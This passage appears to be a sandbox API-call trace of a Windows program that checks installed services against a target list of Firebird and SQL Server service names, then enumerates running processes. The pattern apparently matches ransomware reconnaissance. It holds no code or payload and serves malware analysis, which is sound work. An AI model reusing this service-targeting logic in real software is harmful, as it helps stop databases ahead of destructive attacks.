(lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0045.246] lstrlenW (lpString="BFE") returned 3 [0045.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0045.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0045.246] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0045.246] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0045.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0045.246] lstrlenW (lpString="BITS") returned 4 [0045.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0045.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0045.246] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0045.246] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0045.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0045.246] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0045.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0045.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0045.247] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0045.247] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0045.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0045.247] lstrlenW (lpString="CDPSvc") returned 6 [0045.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0045.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0045.247] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0045.247] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0045.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0045.247] lstrlenW (lpString="ClickToRunSvc") returned 13 [0045.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0045.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0045.247] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0045.247] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0045.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0045.247] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0045.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0045.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0045.247] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0045.247] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0045.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0045.247] lstrlenW (lpString="CryptSvc") returned 8 [0045.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0045.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0045.247] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0045.247] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0045.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0045.247] lstrlenW (lpString="DcomLaunch") returned 10 [0045.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.247] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0045.247] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0045.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0045.248] lstrlenW (lpString="DeviceAssociationService") returned 24 [0045.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0045.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0045.248] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0045.248] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0045.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0045.248] lstrlenW (lpString="Dhcp") returned 4 [0045.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0045.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0045.248] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0045.248] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0045.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0045.248] lstrlenW (lpString="Dnscache") returned 8 [0045.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0045.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0045.248] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0045.248] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0045.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0045.248] lstrlenW (lpString="DoSvc") returned 5 [0045.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0045.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0045.248] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0045.248] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0045.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0045.248] lstrlenW (lpString="DPS") returned 3 [0045.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0045.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0045.248] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0045.248] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0045.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0045.248] lstrlenW (lpString="DusmSvc") returned 7 [0045.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0045.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0045.248] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0045.248] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0045.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0045.248] lstrlenW (lpString="EventLog") returned 8 [0045.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0045.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0045.249] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0045.249] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0045.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0045.249] lstrlenW (lpString="EventSystem") returned 11 [0045.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0045.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0045.249] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0045.249] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0045.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0045.249] lstrlenW (lpString="FontCache") returned 9 [0045.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0045.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0045.249] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0045.249] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0045.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0045.249] lstrlenW (lpString="gpsvc") returned 5 [0045.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0045.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0045.249] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0045.249] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0045.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0045.249] lstrlenW (lpString="iphlpsvc") returned 8 [0045.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.249] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0045.249] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0045.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0045.249] lstrlenW (lpString="KeyIso") returned 6 [0045.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0045.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0045.249] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0045.249] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0045.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0045.249] lstrlenW (lpString="LanmanServer") returned 12 [0045.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0045.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0045.250] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0045.250] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0045.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0045.250] lstrlenW (lpString="LanmanWorkstation") returned 17 [0045.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.250] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0045.250] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0045.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0045.250] lstrlenW (lpString="lfsvc") returned 5 [0045.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0045.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0045.250] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0045.250] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0045.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0045.250] lstrlenW (lpString="lmhosts") returned 7 [0045.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0045.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0045.250] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0045.250] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0045.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0045.250] lstrlenW (lpString="LSM") returned 3 [0045.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0045.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0045.250] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0045.250] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0045.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0045.250] lstrlenW (lpString="MpsSvc") returned 6 [0045.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0045.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0045.250] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0045.250] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0045.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0045.250] lstrlenW (lpString="NcbService") returned 10 [0045.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0045.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0045.250] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0045.251] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0045.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0045.251] lstrlenW (lpString="netprofm") returned 8 [0045.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0045.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0045.251] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0045.251] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0045.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0045.251] lstrlenW (lpString="NgcSvc") returned 6 [0045.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0045.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0045.251] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0045.251] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0045.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0045.251] lstrlenW (lpString="NlaSvc") returned 6 [0045.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0045.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0045.251] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0045.251] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0045.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0045.251] lstrlenW (lpString="nsi") returned 3 [0045.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0045.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0045.251] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0045.251] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0045.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0045.251] lstrlenW (lpString="PcaSvc") returned 6 [0045.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0045.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0045.251] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0045.251] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0045.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0045.251] lstrlenW (lpString="PlugPlay") returned 8 [0045.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0045.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0045.251] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0045.251] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0045.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0045.252] lstrlenW (lpString="Power") returned 5 [0045.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0045.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0045.252] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0045.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0045.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0045.252] lstrlenW (lpString="ProfSvc") returned 7 [0045.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0045.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0045.252] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0045.252] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0045.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0045.252] lstrlenW (lpString="RpcEptMapper") returned 12 [0045.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.252] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0045.252] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0045.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0045.252] lstrlenW (lpString="RpcSs") returned 5 [0045.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0045.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0045.252] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0045.252] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0045.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0045.252] lstrlenW (lpString="SamSs") returned 5 [0045.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0045.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0045.252] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0045.252] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0045.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0045.252] lstrlenW (lpString="Schedule") returned 8 [0045.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0045.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0045.252] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0045.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0045.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0045.252] lstrlenW (lpString="SecurityHealthService") returned 21 [0045.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0045.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0045.253] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0045.253] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0045.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0045.253] lstrlenW (lpString="SENS") returned 4 [0045.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0045.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0045.253] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0045.253] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0045.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0045.253] lstrlenW (lpString="ShellHWDetection") returned 16 [0045.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.253] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0045.253] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0045.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0045.253] lstrlenW (lpString="Spooler") returned 7 [0045.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0045.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0045.253] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0045.253] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0045.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0045.253] lstrlenW (lpString="SSDPSRV") returned 7 [0045.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0045.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0045.253] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0045.253] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0045.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0045.253] lstrlenW (lpString="StateRepository") returned 15 [0045.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0045.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0045.253] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0045.253] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0045.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0045.253] lstrlenW (lpString="SysMain") returned 7 [0045.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0045.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0045.254] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0045.254] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0045.254] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e7728 | out: hHeap=0x6a0000) returned 1 [0045.254] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0045.266] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0045.267] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0045.268] lstrlenW (lpString="System") returned 6 [0045.268] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0045.269] lstrlenW (lpString="smss.exe") returned 8 [0045.269] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.269] lstrlenW (lpString="csrss.exe") returned 9 [0045.269] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0045.270] lstrlenW (lpString="wininit.exe") returned 11 [0045.270] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.270] lstrlenW (lpString="csrss.exe") returned 9 [0045.271] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0045.271] lstrlenW (lpString="winlogon.exe") returned 12 [0045.271] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0045.272] lstrlenW (lpString="services.exe") returned 12 [0045.272] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0045.272] lstrlenW (lpString="lsass.exe") returned 9 [0045.272] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.273] lstrlenW (lpString="svchost.exe") returned 11 [0045.273] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0045.274] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0045.274] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0045.274] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0045.274] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, 